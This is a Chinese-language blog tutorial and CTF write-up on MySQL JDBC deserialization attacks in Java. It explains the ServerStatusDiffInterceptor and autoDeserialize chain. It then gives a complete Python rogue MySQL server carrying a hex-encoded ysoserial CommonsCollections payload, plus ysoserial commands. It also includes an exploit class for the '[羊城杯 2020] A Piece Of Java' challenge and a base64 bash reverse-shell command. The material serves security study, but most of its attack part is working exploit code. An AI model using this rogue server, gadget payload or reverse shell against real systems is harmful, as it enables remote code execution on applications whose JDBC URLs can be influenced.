Java篇之jdbc反序列化

jdbc反序列化

这几天有点儿痛苦,看完了p神的Java安全漫谈之后有点儿迷茫,jndi看了看,fastjson看了看,jdbc也看了看,但感觉都看的不太细,很多东西也没搞明白,写文章感觉有点儿难受,所以说一周多都没更了,接下来就慢慢学着慢慢总结着吧,先来看看jdbc反序列化

jdbc是啥

JDBC(Java DataBase Connectivity),是JavaDataBase之间的桥梁,通俗来说,就是利用Java连接数据库的一种方法;是Java语言中用来规范客户端程序如何访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法,能够执行SQL语言;各种关系型数据库都有相应的方法来实现,但这篇文章我们只针对MYSQL数据库哈

连接本地数据库

我们先来看看用Java如何连接本地的数据库,以及如何执行SQL语句

首先我们需要利用Class.forName()方法来加载JDBC驱动程序(driver),这个不同的版本是不一样的,比如说新版本中com.mysql.jdbc.Driver就已经被弃用了,我们得用新的驱动com.mysql.cj.jdbc.Driver

然后利用DriverManager中的getConnection方法,通过JDBC url,用户名,密码来连接相应的数据库

JDBC url的格式是:jdbc:mysql://host:port/database_name?参数1=value1&参数2=value2...

加入要连接本地的security数据库就是:jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC,后面那个参数是为了改变时区

在获取Connection之后,便可以创建Statement用以执行SQL语句,随便来看个查询select * from users,所以说代码如下:

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import java.sql.*;

public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
Statement stmt = con.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
while(rs.next()) {
System.out.println(rs.getString("id") + " : " + rs.getString("username")+" "+rs.getString("password"));
}
}
}

运行结果如下:

image.png

连接远程数据库

接下来我们来看看远程的数据库,也就是vps上的MYSQL服务器,连接代码不变,就改改地址就行,主要是这要解决几个配置问题:

首先是需要打开服务器上的3306端口,在控制台打开就行

然后就是由于Mysql的安全配置,很可能会拒绝我们的连接请求,我们先来看看服务端Mysql端口的监听情况

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netstat -ntlp | grep 3306

看看Local Address,只有127.0.0.1:3306的话,说明Mysql服务端仅监听来自本机3306端口上的数据库请求,这样肯定是不行的

所以说,我们得先进到mysql目录下,我的是/etc/mysql,搜索哪里有绑定127.0.0.1的网址

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grep -nr "127.0.0.1"

然后进到该文件中,将bind-address那一行注释掉就好了,然后重启mysql服务,再查看一下3306端口的监听情况以确定修改成功与否

image.png

这样子就好了,远程就能连上了

image.png

如果还有啥问题,请参考:https://www.cnblogs.com/chorm590/p/9968475.html

jdbc反序列化原理

既然我们可以通过Java连接数据库了,那么假如JDBC url可控,我们就可以让它连接任意Mysql服务器了,如果服务器中再存在反序列化漏洞,我们就可以设置一个恶意的Mysql服务器,通过ObjectInputStream.readObject()的反序列化攻击从而RCE

就是说咱通过JDBC连接数据库的时候,会有几个内置的SQL语句会被执行,而其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作,如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞

而这个内置的SQL语句就是:SHOW SESSION STATUSSHOW COLLATION

本地测试

那我们先本地测一测,首先在vps上起一个恶意Mysql服务器,代码如下:

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# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

然后我们是用cc链来测试的,客户端肯定要有cc依赖哈,然后利用ysoserial来生成cc7的payload,放到payload文件中

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java -jar yso*.jar CommonsCollections7 calc > payload

然后运行这个py文件,开始监听:

image.png

接下来就来写客户端的代码,很简单,先放代码:

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import java.sql.*;

public class test2 {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://xx.xx.xx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}

主要就是看这两个参数?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

第一个参数autoDeserialize是用来自动检测与反序列化存在BLOB字段中的对象,为了满足下面的条件,这其实挺简单,记得加上就行

第二个参数就稍微有点儿复杂了,ServerStatusDiffInterceptor是一个拦截器,当我们在JDBC url中设置属性queryInterceptorsServerStatusDiffInterceptor时,在执行SQL的查询语句的时候,会调用拦截器的postProcess方法,然后调用populateMapWithSessionStatusValues方法,然后调用resultSetToMap方法,然后调用getObject方法,在getObject中,只要autoDeserialize 为True,就可以进入到最后readObject中,最终实现反序列化;而我们前面说到了,当通过JDBC连接数据库的时候,会有几个内置的SQL语句会被执行,所以说这样就通了,而这就是这两个参数的由来,调用链不算很难,我也就不放代码了,给一篇参考文章:https://xz.aliyun.com/t/8159

运行客户端代码,弹出计算器:

image.png

例题解析 — [羊城杯 2020]A Piece Of Java

这是我人生中做出的第一道CTF的Java题,还挺有纪念意义的哈哈哈,buu上就能复现

这道题给出了源码,放idea中先审审源码:

在入口中看到了/hello下面有一个deserialize,而且它反序列化的是Cookie中的data字段的值,我们是可控的,看看deserialize

看到了硕大的一个readObject(),而且它是先base64解码之后再进行的readObject()

然后我们去看InfoInvocationHandler类,听这个名字就感觉大概是动态代理类,而且里面实现了InvocationHandlerSerializable俩接口,只重写了invoke方法,肯定是个动态代理类,那么通过调用invoke方法,在invoke方法里面调用了checkAllInfo()方法,那么只要我们让this.info是一个DatabaseInfo对象,就可以调用DatabaseInfo对象的checkAllInfo方法了,然后在里面调用了this.connect()方法,连接数据库了:

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public class DatabaseInfo implements Serializable, Info {
private String host;
private String port;
private String username;
private String password;
private Connection connection;
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
var3.printStackTrace();
}
}

public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}

return true;
} else {
return false;
}
}
}

那其实思路挺简单的,利用动态代理调用invoke,然后通过connect()方法连接我们vps上的恶意数据库实现RCE,写exp了:

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import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
return barr.toByteArray();

}

public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "xx.xx.xx.xx");
setFieldValue(databaseInfo, "port", "3306");
setFieldValue(databaseInfo, "username", "Arsene.Tang");
setFieldValue(databaseInfo, "password", "clyyyyy&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));
}
}

前两个方法分别是反射给属性赋值的方法以及序列化的方法,然后在主函数中创建DatabaseInfo对象,用反射赋值,获取代理类对象,最后将序列化后的结果base64加密之后输出出来,很清晰的流程

然后我们在vps中生成一个反弹shell的payload,还是写入到payload文件中,就和我们本地测试的一样

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java -jar yso*.jar CommonsCollections5 "bash -c {echo,反弹shell的语句base64后}|{base64,-d}|{bash,-i}" > payload

然后运行上面那个py文件,运行Mysql恶意服务器,将payload打过去,别忘了监听端口:

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shell成功弹回来,拿下

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